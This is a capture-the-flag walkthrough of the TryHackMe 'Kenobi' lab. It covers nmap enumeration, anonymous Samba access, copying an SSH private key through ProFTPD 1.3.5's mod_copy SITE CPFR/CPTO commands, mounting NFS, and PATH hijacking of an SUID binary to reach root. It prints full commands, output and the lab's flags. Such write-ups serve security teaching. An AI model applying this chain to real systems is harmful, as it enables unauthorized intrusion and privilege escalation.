TryHackMe-Kenobi
Kenobi
Description
Walkthrough on exploiting a Linux machine. Enumerate Samba for shares, manipulate a vulnerable version of proftpd and escalate your privileges with path variable manipulation.
[Task 1] Deploy the vulnerable machine
#1.0 - Instructions
This room will cover using accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access and escalate your privileges to root via an SUID binary.
#1.0 - Make sure you’re connected to our network and deploy the machine
Just deploy the machine.
#1.0 - Scan the machine with nmap, how many ports are open?
Hint: nmap ip -vvv
$ nmap 10.10.139.109 -vvv Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 08:29 CEST Initiating Ping Scan at 08:29 Scanning 10.10.139.109 [2 ports] Completed Ping Scan at 08:29, 0.05s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 08:29 Completed Parallel DNS resolution of 1 host. at 08:29, 0.03s elapsed DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating Connect Scan at 08:29 Scanning 10.10.139.109 [1000 ports] Discovered open port 80/tcp on 10.10.139.109 Discovered open port 445/tcp on 10.10.139.109 Discovered open port 139/tcp on 10.10.139.109 Discovered open port 111/tcp on 10.10.139.109 Discovered open port 21/tcp on 10.10.139.109 Discovered open port 22/tcp on 10.10.139.109 Discovered open port 2049/tcp on 10.10.139.109 Completed Connect Scan at 08:29, 3.85s elapsed (1000 total ports) Nmap scan report for 10.10.139.109 Host is up, received syn-ack (0.064s latency). Scanned at 2020-05-14 08:29:08 CEST for 4s Not shown: 993 closed ports Reason: 993 conn-refused PORT STATE SERVICE REASON 21/tcp open ftp syn-ack 22/tcp open ssh syn-ack 80/tcp open http syn-ack 111/tcp open rpcbind syn-ack 139/tcp open netbios-ssn syn-ack 445/tcp open microsoft-ds syn-ack 2049/tcp open nfs syn-ack Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 3.96 seconds
Nmap reveals 7 open ports.
Answer: 7
#2.0 - Instructions
Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often refereed to as a network file system.
Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.
#2.1
Instructions
Using nmap we can enumerate a machine for SMB shares.
Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.139.109
SMB has two ports, 445 and 139.
- Port 139: SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
- Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the Internet.
Using the nmap command above, how many shares have been found?
Answer
$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.139.109 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 08:36 CEST Nmap scan report for 10.10.139.109 Host is up (0.046s latency). PORT STATE SERVICE 445/tcp open microsoft-ds Host script results: | smb-enum-shares: | account_used: guest | \\10.10.139.109\IPC$: | Type: STYPE_IPC_HIDDEN | Comment: IPC Service (kenobi server (Samba, Ubuntu)) | Users: 1 | Max Users: <unlimited> | Path: C:\tmp | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.139.109\anonymous: | Type: STYPE_DISKTREE | Comment: | Users: 0 | Max Users: <unlimited> | Path: C:\home\kenobi\share | Anonymous access: READ/WRITE | Current user access: READ/WRITE | \\10.10.139.109\print$: | Type: STYPE_DISKTREE | Comment: Printer Drivers | Users: 0 | Max Users: <unlimited> | Path: C:\var\lib\samba\printers | Anonymous access: <none> |_ Current user access: <none> |_smb-enum-users: ERROR: Script execution failed (use -d to debug) Nmap done: 1 IP address (1 host up) scanned in 7.36 seconds
We have discovered 3 network shares:
\10.10.139.109\IPC$
\10.10.139.109\anonymous
\10.10.139.109\print$
Answer: 3
#2.2
Instructions
On most distributions of Linux smbclient is already installed. Lets inspect one of the shares.
smbclient //<ip>/anonymous
Using your machine, connect to the machines network share.
Once you’re connected, list the files on the share. What is the file can you see?
Answer
Use smbclient to connect to the anonymous
share. When prompted for the password, leave empty and press ENTER
.
$ smbclient //10.10.139.109/anonymous Enter SAMBA\unknown's password: Try "help" to get a list of possible commands. smb: \> ls . D 0 Wed Sep 4 12:49:09 2019 .. D 0 Wed Sep 4 12:56:07 2019 log.txt N 12237 Wed Sep 4 12:49:09 2019 9204224 blocks of size 1024. 6877112 blocks available
Answer: log.txt
#2.3
Instructions
You can recursively download the SMB share too. Submit the username and password as nothing.
smbget -R smb://<ip>/anonymous
Open the file on the share. There is a few interesting things found.
- Information generated for Kenobi when generating an SSH key for the user
- Information about the ProFTPD server.
What port is FTP running on?
Answer
Let’s get all files recursively from the network share:
$ smbget -R smb://10.10.139.109/anonymous Password for [unknown] connecting to //anonymous/10.10.139.109: Using workgroup SAMBA, user unknown smb://10.10.139.109/anonymous/log.txt Downloaded 11.95kB in 4 seconds
Now, let’s dump the first lines of the log.txt
file
$ head -n 33 log.txt Generating public/private rsa key pair. Enter file in which to save the key (/home/kenobi/.ssh/id_rsa): Created directory '/home/kenobi/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/kenobi/.ssh/id_rsa. Your public key has been saved in /home/kenobi/.ssh/id_rsa.pub. The key fingerprint is: SHA256:C17GWSl/v7KlUZrOwWxSyk+F7gYhVzsbfqkCIkr2d7Q kenobi@kenobi The key's randomart image is: +---[RSA 2048]----+ | | | .. | | . o. . | | ..=o +. | | . So.o++o. | | o ...+oo.Bo*o | | o o ..o.o+.@oo | | . . . E .O+= . | | . . oBo. | +----[SHA256]-----+ # This is a basic ProFTPD configuration file (rename it to # 'proftpd.conf' for actual use. It establishes a single server # and a single anonymous login. It assumes that you have a user/group # "nobody" and "ftp" for normal operation and anon. ServerName "ProFTPD Default Installation" ServerType standalone DefaultServer on # Port 21 is the standard FTP port. Port 21
It reveals that a SSH private key has been generated and saved to /home/kenobi/.ssh/id_rsa
. The log file also contains a summary of the ProFTP configuration. FTP runs on port 21
.
#2.4
Instructions
Your earlier nmap port scan will have shown port 111 running the service rpcbind. This is just an server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.
In our case, port 111 is access to a network file system. Let’s use nmap to enumerate this.
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.139.109
What mount can we see?
Answer
$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.139.109 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 09:17 CEST Nmap scan report for 10.10.139.109 Host is up (0.045s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: |_ /var * Nmap done: 1 IP address (1 host up) scanned in 0.69 seconds
Answer: /var
[Task 3] Gain initial access with ProFtpd
#3.0 - Instructions
ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.
#3.1
Instructions
Lets get the version of ProFtpd. Use netcat to connect to the machine on the FTP port.
What is the version?
Hint: nc machines_ip 21
Answer
To determine the version of ProFTPd, we can eithe use nmap
, or directly connect with ftp
or nc
.
- With nmap:
$ nmap -sV -p21 10.10.139.109 Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-14 09:24 CEST Nmap scan report for 10.10.139.109 Host is up (0.046s latency). PORT STATE SERVICE VERSION 21/tcp open ftp ProFTPD 1.3.5 Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
- With ftp:
$ ftp 10.10.139.109 Connected to 10.10.139.109 (10.10.139.109). 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.139.109] Name (10.10.139.109:unknown): ^C
- With netcat:
$ nc 10.10.139.109 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.139.109] ^C
The version is 1.3.5
.
#3.2
Instructions
We can use searchsploit to find exploits for a particular software version.
Searchsploit is basically just a command line search tool for exploit-db.com.
How many exploits are there for the ProFTPd running?
Hint: searchsploit proftpd version
Answer
Let’s search for exploits matching proftpd version 1.3.5:
$ ./searchsploit proftpd 1.3.5 [i] Found (#1): /data/src/exploitdb/files_exploits.csv [i] To remove this message, please edit "/data/src/exploitdb/.searchsploit_rc" for "files_exploits.csv" (package_array: exploitdb) [i] Found (#1): /data/src/exploitdb/files_shellcodes.csv [i] To remove this message, please edit "/data/src/exploitdb/.searchsploit_rc" for "files_shellcodes.csv" (package_array: exploitdb) ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt ------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Answer: 3
exploits are found.
#3.3
Instructions
You should have found an exploit from ProFtpd’s mod_copy module.
The mod_copy module implements SITE CPFR
and SITE CPTO
commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.
We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
Answer
No answer needed here.
#3.4
Instructions
We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.
We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.
Answer
Let’s connect to the FTP service and copy the SSH private key to /var/tmp/
:
$ nc 10.10.139.109 21 220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.139.109] SITE CPFR /home/kenobi/.ssh/id_rsa 350 File or directory exists, ready for destination name SITE CPTO /var/tmp/id_rsa 250 Copy successful quit 221 Goodbye. ^C
#3.5
Instructions
Let’s mount the /var/tmp directory to our machine
mkdir /mnt/kenobiNFS
mount machine_ip:/var /mnt/kenobiNFS
ls -la /mnt/kenobiNFS
We now have a network mount on our deployed machine! We can go to /var/tmp and get the private key then login to Kenobi’s account.
What is Kenobi’s user flag (/home/kenobi/user.txt)?
Answer
Now, let’s mount the share:
$ sudo mkdir /mnt/kenobiNFS
$ sudo mount 10.10.139.109:/var /mnt/kenobiNFS
We are now able to list files and get the SSH private key previously copied.
$ ls -la /mnt/kenobiNFS/tmp/
total 28
drwxrwxrwt. 6 root root 4096 May 14 11:03 .
drwxr-xr-x. 14 root root 4096 Sep 4 2019 ..
-rw-r--r--. 1 unknown unknown 1675 May 14 11:03 id_rsa
drwx------. 3 root root 4096 Sep 4 2019 systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
drwx------. 3 root root 4096 Sep 4 2019 systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
drwx------. 3 root root 4096 Sep 4 2019 systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
drwx------. 3 root root 4096 May 14 10:25 systemd-private-ff0eab71cb6249d9a85a500051b7cbf4-systemd-timesyncd.service-b6MWS5
Now, let’s connect with the key and get the flag:
$ chmod 600 id_rsa $ ssh -i id_rsa [email protected] The authenticity of host '10.10.139.109 (10.10.139.109)' can't be established. ECDSA key fingerprint is SHA256:uUzATQRA9mwUNjGY6h0B/wjpaZXJasCPBY30BvtMsPI. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.139.109' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 103 packages can be updated. 65 updates are security updates. Last login: Wed Sep 4 07:10:15 2019 from 192.168.1.147 To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. kenobi@kenobi:~$ ls -l total 8 drwxr-xr-x 2 kenobi kenobi 4096 Sep 4 2019 share -rw-rw-r-- 1 kenobi kenobi 33 Sep 4 2019 user.txt kenobi@kenobi:~$ cat user.txt d0b0f3f53b6caa532a83915e19224899
[Task 4] Privilege Escalation with Path Variable Manipulation
#4.0 - Instructions
Lets first understand what what SUID, SGID and Sticky Bits are.
Permission | On Files | On Directories |
---|---|---|
SUID Bit | User executes the file with permissions of the file owner | - |
SGID Bit | User executes the file with the permission of the group owner. | File created in directory gets the same group owner. |
Sticky Bit | No meaning | Users are prevented from deleting files from other users. |
#4.1
Instructions
SUID bits can be dangerous, some binaries such as passwd need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.
To search the a system for these type of files run the following: find / -perm -u=s -type f 2>/dev/null
What file looks particularly out of the ordinary?
Answer
Let’s check files with SUID bit set:
kenobi@kenobi:~$ find / -perm -u=s -type f 2>/dev/null /sbin/mount.nfs /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/snapd/snap-confine /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/bin/chfn /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/passwd /usr/bin/newuidmap /usr/bin/gpasswd /usr/bin/menu /usr/bin/sudo /usr/bin/chsh /usr/bin/at /usr/bin/newgrp /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6
Answer: /usr/bin/menu
#4.2
Instructions
Run the binary, how many options appear?
Answer
When we run the program, we have a menu with 3 options:
kenobi@kenobi:~$ /usr/bin/menu *************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :
Answer: 3
#4.3
Instructions
strings
is a command on Linux that looks for human readable strings on a binary.
This shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).
As this file runs as the root users privileges, we can manipulate our path gain a root shell.
We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
Answer
Following the instructions, we add a fake curl
executable that we add to the PATH
environment variable:
kenobi@kenobi:/usr/bin$ cd /tmp/ kenobi@kenobi:/tmp$ echo "/bin/sh" > curl kenobi@kenobi:/tmp$ chmod 777 curl kenobi@kenobi:/tmp$ export PATH=/tmp:$PATH
Now, when we run the program and choose the first option, we have a shell with root
access:
kenobi@kenobi:/tmp$ /usr/bin/menu *************************************** 1. status check 2. kernel version 3. ifconfig ** Enter your choice :1 # whoami root #
#4.4
Instructions
What is the root flag (/root/root.txt)?
Answer
Using the program with root access, we can easily get the root flag:
# cat /root/root.txt 177b3cd8562289f37382721c28381f02